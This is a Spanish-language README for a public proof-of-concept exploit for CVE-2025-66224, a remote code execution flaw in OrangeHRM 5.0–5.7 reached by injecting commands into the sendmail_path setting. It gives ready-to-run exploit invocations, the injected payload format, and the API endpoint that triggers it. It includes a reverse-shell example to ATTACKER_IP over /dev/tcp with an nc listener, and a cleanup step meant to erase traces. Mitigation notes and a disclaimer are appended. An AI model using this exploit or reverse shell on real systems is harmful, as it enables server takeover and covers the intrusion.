Explotación RCE de OrangeHRM - CVE-2025-66224

📋 Descripción

Esta Prueba de Concepto (PoC) demuestra una vulnerabilidad de Ejecución Remota de Código (RCE) en OrangeHRM mediante inyección de comandos en el parámetro de configuración sendmail_path.

El exploit funciona de la siguiente manera:

1. Inyectar una carga maliciosa en la base de datos MySQL (tabla hs_hr_config)
2. Provocar la ejecución de la carga mediante el endpoint de la API de configuración de correo electrónico
3. Restaurar automáticamente el valor original para eliminar rastros

🎯 Versiones Afectadas

• OrangeHRM versión 5.0 a 5.7

⚠️ Descargo de responsabilidad

Esta herramienta se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas. El acceso no autorizado a sistemas informáticos es ilegal. Los autores no son responsables de cualquier uso indebido o daño causado por esta herramienta.

🔧 Requisitos

pip install requests mysql-connector-python

📦 Instalación

git clone https://github.com/richard-natan/PoC-CVE-2025-66224
cd PoC-CVE-2025-66224
pip install -r requirements.txt

🚀 Uso

Paso 1: Obtener la cookie de sesión

1. Inicie sesión en OrangeHRM a través de la interfaz web
2. Abra las herramientas de desarrollador del navegador (F12)
3. Navegue a Almacenamiento > Cookies (Firefox) o Aplicación > Cookies (Chrome)
4. Copie el valor de la cookie _orangehrm

Paso 2: Ejecutar el exploit

python3 exploit.py -t <TARGET_URL> -c <COOKIE_VALUE> \
    -dh <MYSQL_HOST> -du <MYSQL_USER> -dp <MYSQL_PASSWORD> \
    -cmd '<COMMAND_TO_EXECUTE>'

Ejemplo - Comando simple

python3 exploit.py -t http://127.0.0.1:8080/ \
    -c "g58tak8pbnheseatv6dggvi31i" \
    -dh 172.18.0.2 \
    -du orange_user \
    -dp orange_password \
    -cmd "touch /tmp/pwned"

Ejemplo - Shell inversa

# Iniciar listener en la máquina atacante
nc -lvnp 4444

# Ejecutar el exploit con el payload de shell inversa
python3 exploit.py -t http://target.com/ \
    -c "your_session_cookie" \
    -dh 172.18.0.2 \
    -du orange_user \
    -dp orange_password \
    -cmd 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'

📝 Parámetros

🔍 Cómo Funciona

Detalles de la vulnerabilidad

La vulnerabilidad existe en la funcionalidad de configuración de correo electrónico, donde el parámetro sendmail_path se almacena en la base de datos y posteriormente se ejecuta sin una sanitización adecuada.

Flujo de explotación:

1. Authenticate to OrangeHRM (obtain valid session cookie)
   ↓
2. Connect to MySQL database
   ↓
3. Locate hs_hr_config table
   ↓
4. Update email_config.sendmail_path value:
   FROM: /usr/sbin/sendmail -bs
   TO:   /usr/sbin/sendmail -bs && <PAYLOAD> #
   ↓
5. Trigger execution via API:
   PUT /web/index.php/api/v2/admin/email-configuration
   ↓
6. Command executes on server
   ↓
7. Restore original value (cleanup)

Detalles técnicos

Parámetro vulnerable: email_config.sendmail_path

Base de datos:

• Tabla: hs_hr_config
• Columna: name = 'email_config.sendmail_path'
• Columna: value = ruta del comando sendmail

Endpoint de activación:

PUT /web/index.php/api/v2/admin/email-configuration

🛡️ Mitigación

1. Validación de entradas: Implemente una validación estricta para el parámetro sendmail_path
2. Escapado: Escape correctamente los comandos de shell antes de ejecutarlos
3. Mínimo privilegio: Ejecute el servidor web con los privilegios mínimos
4. Actualización: Aplique los últimos parches de seguridad para OrangeHRM

🤝 Créditos

PoC por: RiccK

Equipo: Bypassadores && HackersOnSteroids

🔗 Referencias

• CVE-2025-66224

⚠️ Úsela de forma responsable. Obtenga siempre la autorización adecuada antes de realizar pruebas.